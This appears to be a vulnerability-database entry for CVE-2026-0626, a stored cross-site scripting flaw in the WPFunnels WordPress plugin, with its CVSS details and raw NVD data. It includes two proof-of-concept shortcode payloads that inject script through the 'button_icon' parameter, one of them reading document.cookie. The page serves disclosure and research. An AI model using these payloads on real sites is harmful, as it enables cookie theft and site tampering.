Security Vulnerability Report
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CVE-2026-0626 CVSS 6.4 MEDIUM

CVE-2026-0626

Published: 2026-04-04 12:16:03
Last Modified: 2026-04-24 18:13:29

Description

The WPFunnels – Easy Funnel Builder To Optimize Buyer Journeys And Get More Leads & Sales plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpf_optin_form' shortcode in all versions up to, and including, 3.7.9 due to insufficient input sanitization and output escaping of the 'button_icon' parameter. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPFunnels <= 3.7.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-0626 --> <!-- Exploit Title: Stored XSS in WPFunnels via button_icon parameter --> <!-- Usage: Add the following shortcode to a page or post as a Contributor user --> [wpf_optin_form button_icon='"><script>alert(document.cookie)</script>'] <!-- Alternative payload if attribute breaker is needed --> [wpf_optin_form button_icon='onmouseover=alert(1) ']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0626", "sourceIdentifier": "[email protected]", "published": "2026-04-04T12:16:02.787", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPFunnels – Easy Funnel Builder To Optimize Buyer Journeys And Get More Leads & Sales plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpf_optin_form' shortcode in all versions up to, and including, 3.7.9 due to insufficient input sanitization and output escaping of the 'button_icon' parameter. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3439366/wpfunnels/trunk/includes/core/shortcodes/templates/optin/form.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2130847a-b6c5-412e-8d90-ba42d3fb21f6?source=cve", "source": "[email protected]"}]}}